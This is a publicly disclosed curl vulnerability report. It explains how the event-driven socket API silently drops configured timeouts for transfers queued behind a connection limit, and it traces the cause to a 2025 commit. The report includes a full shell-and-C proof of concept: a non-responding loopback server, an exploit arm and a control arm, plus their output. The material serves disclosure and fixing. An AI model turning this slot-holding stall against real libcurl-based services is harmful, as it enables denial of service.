HexBrain

curl · Report #4021952

Socket API drops expired timeouts for transfers queued behind a connection limit

Informativestatus
14upvotes
18 Sept 2026disclosed

How it was found

Hi all,

I found a way to make libcurl silently and permanently drop a transfer's CURLOPT_TIMEOUT_MS/CURLOPT_CONNECTTIMEOUT_MS deadline. It happens when that transfer is queued behind a connection-count limit and the application drives libcurl through the event-driven curl_multi_socket_action() API instead of curl_multi_perform().

The bug

When a transfer can't get a connection (say, a per-host or total connection cap is already full), multistate_connect() parks it in MSTATE_PENDING and pulls it out of multi->process:

// lib/multi.c:2316-2324
multistate(data, MSTATE_PENDING);
/* move from process to pending set */
Curl_uint32_bset_remove(&multi->process, data->mid);
Curl_uint32_bset_remove(&multi->dirty, data->mid);
Curl_uint32_bset_add(&multi->pending, data->mid);

Its overall/connect timeout was already armed back in multistate_setup(), well before the transfer ever tried to connect:

// lib/multi.c:2488-2495
if(data->set.timeout)
  Curl_expire_set(data, EXPIRE_TIMEOUT, data->set.timeout, pnow);
if(data->set.connecttimeout)
  Curl_expire_set(data, EXPIRE_CONNECTTIMEOUT,
                  data->set.connecttimeout, pnow);

So the timer is live, and the transfer is sitting in MSTATE_PENDING, absent from multi->process. What happens when that timer fires depends entirely on which public API the caller uses to drive the multi handle.

curl_multi_socket_action() reaches multi_mark_expired_as_dirty() first, which pulls the expired entry out of the timer splay tree and just marks it dirty, with no state check:

// lib/multi.c:3171-3187
while(Curl_timeouts_remove_expired(&multi->timeouts, ts, &mid)) {
  data = Curl_multi_get_easy(multi, mid);
  if(!data) {
    DEBUGASSERT(0);
    continue;
  }
  ...
  (void)add_next_timeout(ts, multi, data);
  Curl_multi_mark_dirty(data);
}

multi_run_dirty() then walks the dirty set, and this is where it goes wrong:

// lib/multi.c:3204-3208
if(!Curl_uint32_bset_contains(&multi->process, mid)) {
  /* We are no longer processing this transfer */
  Curl_uint32_bset_remove(&multi->dirty, mid);
  continue;
}

The pending transfer isn't in multi->process, so it's skipped: continue, nothing more. multi_handle_timeout() is never called for it.

Compare that to curl_multi_perform(), which explicitly checks MSTATE_PENDING handles for expiry as part of its own housekeeping:

// lib/multi.c:2942-2949
if(data->mstate == MSTATE_PENDING) {
  bool stream_unused;
  CURLcode result_unused;
  if(multi_handle_timeout(data, multi_now(multi),
                          &stream_unused, &result_unused)) {
    infof(data, "PENDING handle timeout");
    move_pending_to_connect(multi, data);
  }
}

curl_multi_socket_action() has no equivalent anywhere. And because Curl_timeouts_remove_expired() has already popped the timer out of the splay tree before multi_run_dirty() decides to ignore it, nothing re-arms it: the deadline isn't delayed, it's gone. The handle just sits in MSTATE_PENDING until a connection slot happens to free up on its own, however long that takes.

Any application using the event-driven multi-socket style (the integration curl's own docs recommend for libevent/libuv) together with CURLMOPT_MAX_HOST_CONNECTIONS, CURLMOPT_MAX_TOTAL_CONNECTIONS, or the legacy CURLOPT_MAXCONNECTS is exposed. A peer that accepts a connection and never responds occupies a slot forever. Any other request to that host queued behind it loses its own timeout entirely, along with whatever resources the caller attached to it.

To be clear about why this isn't the ordinary "transfer never ends" case that curl's own security policy excludes: that exclusion assumes the application never armed a deadline in the first place, and puts the burden of bounding a stall on the caller. Here the caller did: it set CURLOPT_TIMEOUT_MS/CURLOPT_CONNECTTIMEOUT_MS (--max-time/--connect-timeout), exactly the counter-measure the policy says applications are expected to have.

The bug isn't "curl didn't stop something we never asked it to bound." It's that curl accepts the deadline, silently discards it once the transfer is pending, and then runs unbounded: not for a bounded interval that eventually ends on its own, but for as long as the attacker chooses to hold the connection slot open. The PoC below demonstrates exactly that: 18x past the configured deadline with no sign of ever stopping, versus the same deadline firing on schedule the moment the discard is avoided (curl_multi_perform() instead of curl_multi_socket_action()).

Where it came from

This isn't how curl_multi_socket_action() always worked. Before c7a6319698: "multi: clear the dirty set of transfers no longer processing" (2025-06-23, closes #17718), multi_run_dirty() had no containment check at all: every dirty handle, pending or not, got its state machine run via multi_runsingle(), so a pending transfer's expiry was still processed normally.

That commit added the else if(!Curl_uint_bset_contains(&multi->process, mid)) branch specifically to stop stale dirty bits from lingering after a transfer left multi->process for reasons like completion or removal (a reasonable cleanup on its own). But it applies the same discard to a transfer that's dirty because its timer just expired while pending, which is exactly the case the check can't distinguish from "already gone." The fix for one bug quietly reopened another.

Still present at current main (c0c4971f, 2026-09-09).

PoC

Two curl easy handles share one multi handle with CURLMOPT_MAX_HOST_CONNECTIONS set to 1. Handle A connects to a loopback server that accepts and then never answers, holding the only connection slot forever. Handle B targets the same host with a short CURLOPT_TIMEOUT_MS and is forced into MSTATE_PENDING behind A. The exploit arm drives both through curl_multi_socket_action(); the control arm drives the identical scenario through curl_multi_perform().

Tested against a libcurl built from the audit revision e5e1c356107ea4f8208757deb69776d94496cfae.

checkout: /src
privilege required: LOCAL — this was proved by running the built program, so there's no network principal or login involved
run:      sh /poc-scratch/reproduce.sh exploit
control:  sh /poc-scratch/reproduce.sh control
#!/bin/sh
# Reproduces curl_multi_socket_action() silently dropping the configured
# overall timeout for a transfer stuck in MSTATE_PENDING behind a
# per-host connection limit (lib/multi.c:3205-3208 vs. lib/multi.c:2942-2949).
#
# exploit: drives the scenario through curl_multi_socket_action() (the
#          event-driven "socket API", as a libevent/libuv integration
#          would use it) and shows handle B never times out.
# control: drives the identical scenario through curl_multi_perform()
#          (the simple polling API) and shows handle B times out correctly.
#
# Env overrides:
#   VF_CURL_INC / VF_CURL_LIB  - headers/libs for the shipped libcurl
#                                (defaults assume /usr/local; this audit's
#                                verification build used a local prefix on
#                                macOS and additionally linked
#                                -framework Security -framework CoreFoundation
#                                -framework SystemConfiguration, required by
#                                libcurl's macOS proxy/keychain support when
#                                linking a static libcurl.a there)
#   VF_TIMEOUT_MS              - CURLOPT_TIMEOUT_MS given to handle B (default 5000)
#   VF_WATCH_MS                - how long to watch B for completion (default 90000)
set -e
MODE="$1"
CURL_INC="${VF_CURL_INC:-/usr/local/include}"
CURL_LIB="${VF_CURL_LIB:-/usr/local/lib}"
TIMEOUT_MS="${VF_TIMEOUT_MS:-5000}"
WATCH_MS="${VF_WATCH_MS:-90000}"
WORK="${VF_WORK:-/tmp/vf-multi-pending}"
mkdir -p "$WORK"

cat > "$WORK/poc90.c" <<'EOF'
/* PoC for AISLE-2026-0115-00013: curl_multi_socket_action() drops the
 * configured overall timeout for a transfer sitting in MSTATE_PENDING
 * (queued behind a per-host connection limit).
 *
 * Usage: poc90 <exploit|control> <timeout_ms> [watch_ms]
 *   exploit: drives everything through curl_multi_socket_action() (the
 *            event-driven "socket API", as a libevent/libuv integration
 *            would use it).
 *   control: drives the identical scenario through curl_multi_perform()
 *            (the simple polling API) to show the timeout fires correctly
 *            there.
 *
 * Both arms: bind a loopback listener, set CURLMOPT_MAX_HOST_CONNECTIONS=1
 * for that host, start handle A (occupies the only connection slot forever
 * -- the fake server accepts but never answers), then add handle B to the
 * SAME host with a short CURLOPT_TIMEOUT_MS. B cannot get a connection
 * while A holds the slot, so B sits in MSTATE_PENDING. We then run past
 * B's deadline by a wide margin and report whether B ever completed.
 */
#define _GNU_SOURCE
#include <curl/curl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <poll.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <time.h>

static long long now_ms(void) {
  struct timespec ts;
  clock_gettime(CLOCK_MONOTONIC, &ts);
  return (long long)ts.tv_sec * 1000 + ts.tv_nsec / 1000000;
}

static size_t sink(char *p, size_t s, size_t n, void *u) { (void)p; (void)u; return s * n; }

/* --- fake server: accepts connections, drains the request, then holds
 * the socket open forever without ever responding. --- */
struct srv { int fd; int port; };

static void *server_thread(void *arg) {
  struct srv *S = arg;
  for (;;) {
    int c = accept(S->fd, NULL, NULL);
    if (c < 0) return NULL;
    /* drain whatever curl sends, then just sit on the connection */
    char buf[4096];
    for (;;) {
      ssize_t r = recv(c, buf, sizeof(buf), 0);
      if (r <= 0) break; /* peer closed or error -> this connection is done */
      /* never reply */
    }
    close(c);
  }
  return NULL;
}

static int bind_listener(struct srv *S) {
  S->fd = socket(AF_INET, SOCK_STREAM, 0);
  int one = 1;
  setsockopt(S->fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
  struct sockaddr_in a;
  memset(&a, 0, sizeof(a));
  a.sin_family = AF_INET;
  a.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
  a.sin_port = 0;
  if (bind(S->fd, (struct sockaddr *)&a, sizeof(a)) < 0) return -1;
  socklen_t l = sizeof(a);
  getsockname(S->fd, (struct sockaddr *)&a, &l);
  S->port = ntohs(a.sin_port);
  listen(S->fd, 8);
  return 0;
}

/* ---- socket-API (event-driven) bookkeeping ---- */
#define MAXSOCK 16
struct watched { curl_socket_t fd; int action; int used; };
static struct watched g_watch[MAXSOCK];
static long g_timeout_ms = -1; /* -1 = no timer armed */

static int sock_cb(CURL *e, curl_socket_t s, int what, void *userp, void *sockp) {
  (void)e; (void)userp; (void)sockp;
  int i, free_slot = -1;
  for (i = 0; i < MAXSOCK; i++) {
    if (g_watch[i].used && g_watch[i].fd == s) { free_slot = i; break; }
    if (!g_watch[i].used && free_slot < 0) free_slot = i;
  }
  if (what == CURL_POLL_REMOVE) {
    for (i = 0; i < MAXSOCK; i++)
      if (g_watch[i].used && g_watch[i].fd == s) g_watch[i].used = 0;
    return 0;
  }
  if (free_slot < 0) return 0;
  g_watch[free_slot].fd = s;
  g_watch[free_slot].action = what;
  g_watch[free_slot].used = 1;
  return 0;
}

static int timer_cb(CURLM *multi, long timeout_ms, void *userp) {
  (void)multi; (void)userp;
  g_timeout_ms = timeout_ms;
  return 0;
}

static void check_info(CURLM *multi, const char *label, int *b_done, CURLcode *b_result) {
  int msgs_left;
  CURLMsg *m;
  while ((m = curl_multi_info_read(multi, &msgs_left))) {
    if (m->msg == CURLMSG_DONE) {
      char *priv = NULL;
      curl_easy_getinfo(m->easy_handle, CURLINFO_PRIVATE, &priv);
      fprintf(stderr, "[%s] handle '%s' DONE result=%d (%s)\n", label,
              priv ? priv : "?", m->data.result, curl_easy_strerror(m->data.result));
      if (priv && !strcmp(priv, "B")) {
        *b_done = 1;
        *b_result = m->data.result;
      }
    }
  }
}

int main(int argc, char **argv) {
  if (argc < 3) { fprintf(stderr, "usage: %s <exploit|control> <timeout_ms> [watch_ms]\n", argv[0]); return 2; }
  const char *mode = argv[1];
  long timeout_ms = atol(argv[2]);
  long long watch_ms = (argc >= 4) ? atoll(argv[3]) : (long long)timeout_ms * 6; /* how long we watch for B to complete */

  struct srv S = {0};
  if (bind_listener(&S) < 0) { fprintf(stderr, "bind failed\n"); return 2; }
  pthread_t tid;
  pthread_create(&tid, NULL, server_thread, &S);

  char url[128];
  snprintf(url, sizeof(url), "http://127.0.0.1:%d/", S.port);

  curl_global_init(CURL_GLOBAL_DEFAULT);
  CURLM *multi = curl_multi_init();
  curl_multi_setopt(multi, CURLMOPT_MAX_HOST_CONNECTIONS, 1L);

  CURL *A = curl_easy_init();
  curl_easy_setopt(A, CURLOPT_URL, url);
  curl_easy_setopt(A, CURLOPT_WRITEFUNCTION, sink);
  curl_easy_setopt(A, CURLOPT_PRIVATE, "A");
  curl_easy_setopt(A, CURLOPT_VERBOSE, 0L);

  CURL *B = curl_easy_init();
  curl_easy_setopt(B, CURLOPT_URL, url);
  curl_easy_setopt(B, CURLOPT_WRITEFUNCTION, sink);
  curl_easy_setopt(B, CURLOPT_PRIVATE, "B");
  curl_easy_setopt(B, CURLOPT_TIMEOUT_MS, timeout_ms);
  curl_easy_setopt(B, CURLOPT_VERBOSE, 0L);

  int b_done = 0;
  CURLcode b_result = CURLE_OK;
  long long t0 = now_ms();

  if (!strcmp(mode, "control")) {
    /* Simple polling API: curl_multi_perform() + curl_multi_wait(). */
    curl_multi_add_handle(multi, A);
    curl_multi_add_handle(multi, B);
    int still_running = 1;
    while (still_running && (now_ms() - t0) < watch_ms) {
      CURLMcode mc = curl_multi_perform(multi, &still_running);
      if (mc != CURLM_OK) break;
      check_info(multi, "control", &b_done, &b_result);
      if (b_done) break;
      int numfds = 0;
      curl_multi_wait(multi, NULL, 0, 100, &numfds);
    }
  } else {
    /* Event-driven socket API: curl_multi_socket_action(). */
    curl_multi_setopt(multi, CURLMOPT_SOCKETFUNCTION, sock_cb);
    curl_multi_setopt(multi, CURLMOPT_TIMERFUNCTION, timer_cb);
    int still_running = 0;
    curl_multi_add_handle(multi, A);
    curl_multi_add_handle(multi, B);
    curl_multi_socket_action(multi, CURL_SOCKET_TIMEOUT, 0, &still_running);
    check_info(multi, "exploit", &b_done, &b_result);

    while ((now_ms() - t0) < watch_ms && !b_done) {
      struct pollfd pfds[MAXSOCK];
      int npfd = 0, i;
      for (i = 0; i < MAXSOCK; i++) {
        if (!g_watch[i].used) continue;
        short ev = 0;
        if (g_watch[i].action & CURL_POLL_IN) ev |= POLLIN;
        if (g_watch[i].action & CURL_POLL_OUT) ev |= POLLOUT;
        pfds[npfd].fd = g_watch[i].fd;
        pfds[npfd].events = ev;
        pfds[npfd].revents = 0;
        npfd++;
      }
      long wait_ms = (g_timeout_ms >= 0) ? g_timeout_ms : 200;
      if (wait_ms > 200) wait_ms = 200; /* keep our own loop granular */
      int pr = poll(npfd ? pfds : NULL, npfd, (int)wait_ms);
      if (pr < 0) { if (errno == EINTR) continue; break; }
      if (pr == 0) {
        curl_multi_socket_action(multi, CURL_SOCKET_TIMEOUT, 0, &still_running);
      } else {
        for (i = 0; i < npfd; i++) {
          if (!pfds[i].revents) continue;
          int mask = 0;
          if (pfds[i].revents & POLLIN) mask |= CURL_CSELECT_IN;
          if (pfds[i].revents & POLLOUT) mask |= CURL_CSELECT_OUT;
          if (pfds[i].revents & (POLLERR | POLLHUP)) mask |= CURL_CSELECT_ERR;
          curl_multi_socket_action(multi, pfds[i].fd, mask, &still_running);
        }
      }
      check_info(multi, "exploit", &b_done, &b_result);
    }
  }

  long long elapsed = now_ms() - t0;
  fprintf(stderr, "mode=%s configured_timeout_ms=%ld watched_ms=%lld b_done=%d b_result=%d elapsed_ms=%lld\n",
          mode, timeout_ms, watch_ms, b_done, (int)b_result, elapsed);

  if (!strcmp(mode, "exploit")) {
    /* BUG PRESENT if B is still not done after many multiples of its own deadline. */
    if (!b_done) {
      printf("RESULT: BUG CONFIRMED - handle B never timed out via curl_multi_socket_action(),"
             " %lldms after its %ldms deadline (watched %lldms)\n", elapsed, timeout_ms, watch_ms);
    } else {
      printf("RESULT: NOT REPRODUCED - handle B completed (result=%d) via socket API\n", (int)b_result);
    }
  } else {
    if (b_done && b_result == CURLE_OPERATION_TIMEDOUT && elapsed < watch_ms) {
      printf("RESULT: CONTROL OK - handle B correctly timed out via curl_multi_perform() after ~%lldms\n", elapsed);
    } else {
      printf("RESULT: CONTROL UNEXPECTED - b_done=%d b_result=%d elapsed=%lldms\n", b_done, (int)b_result, elapsed);
    }
  }

  curl_multi_remove_handle(multi, A);
  curl_multi_remove_handle(multi, B);
  curl_easy_cleanup(A);
  curl_easy_cleanup(B);
  curl_multi_cleanup(multi);
  curl_global_cleanup();
  /* server thread holds a detached connection forever; just exit the process */
  fflush(stdout);
  _exit(b_done ? (mode[0] == 'e' ? 1 : 0) : (mode[0] == 'e' ? 0 : 1));
}
EOF

cc -I"$CURL_INC" "$WORK/poc90.c" -o "$WORK/poc90" \
  -L"$CURL_LIB" -lcurl -Wl,-rpath,"$CURL_LIB" -lpthread \
  ${VF_EXTRA_LIBS:-} || {
    # macOS static-libcurl link additionally needs these system frameworks
    # for Curl_macos_init()'s proxy/keychain support.
    cc -I"$CURL_INC" "$WORK/poc90.c" -o "$WORK/poc90" \
      "$CURL_LIB/libcurl.a" -lpthread -lz \
      -framework Security -framework CoreFoundation -framework SystemConfiguration
  }

# Everything is up and the shipped libcurl is about to be exercised.
: > "${VF_READY:-/dev/null}"

timeout 100 "$WORK/poc90" "$MODE" "$TIMEOUT_MS" "$WATCH_MS"

Both arms ran with a 5-second configured deadline and a 90-second observation window, wide enough to make the drop unambiguous rather than a marginal overshoot.

The exploit arm reported:

RESULT: BUG CONFIRMED - handle B never timed out via curl_multi_socket_action(), 90011ms after its 5000ms deadline (watched 90000ms)

B was still incomplete after 18x its own configured deadline, and the run only ended because the harness stopped watching, not because curl did anything. The control arm, driving the identical scenario through curl_multi_perform(), reported:

RESULT: CONTROL OK - handle B correctly timed out via curl_multi_perform() after ~5001ms

CURLE_OPERATION_TIMEDOUT, right on schedule. The only variable between the two arms is which public API drives the transfer.

Suggested direction

Handle MSTATE_PENDING entries before the generic "not in multi->process" discard in multi_run_dirty(), mirroring what curl_multi_perform() already does: evaluate multi_handle_timeout() for the dirty pending handle, and when it's expired, move it back into the process set so the state machine records CURLE_OPERATION_TIMEDOUT and completes it normally instead of silently dropping the timer.

Worth adding a socket-API regression test too: connection limit of one, an indefinitely occupied first transfer, a timed second transfer that lands in MSTATE_PENDING, asserting it still completes with CURLE_OPERATION_TIMEDOUT at its configured deadline.

Cheers, Josh

Impact

Any application using the event-driven curl_multi_socket_action() API (the style curl's own docs recommend for libevent/libuv integrations) together with a host or total connection-count limit is exposed. A peer that accepts a connection and never answers occupies that slot indefinitely, and any other request to the same host queued behind it never gets its configured timeout enforced: the exact mechanism the application relies on to bound attacker-induced requests.

The transfer, its easy handle, and any application-side resources tied to it are retained indefinitely: a straightforward denial of service against services that size their behavior around libcurl's own timeout guarantees.

Preconditions:

  • curl_multi_socket_action()-driven event loop
  • CURLOPT_TIMEOUT_MS/CURLOPT_CONNECTTIMEOUT_MS (--max-time/--connect-timeout) configured on the pending transfer, i.e. the application already took the counter-measure curl's own security policy expects
  • a host or total connection-count limit (CURLMOPT_MAX_HOST_CONNECTIONS, CURLMOPT_MAX_TOTAL_CONNECTIONS, or CURLOPT_MAXCONNECTS) in effect
  • a peer able to occupy a connection slot indefinitely

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original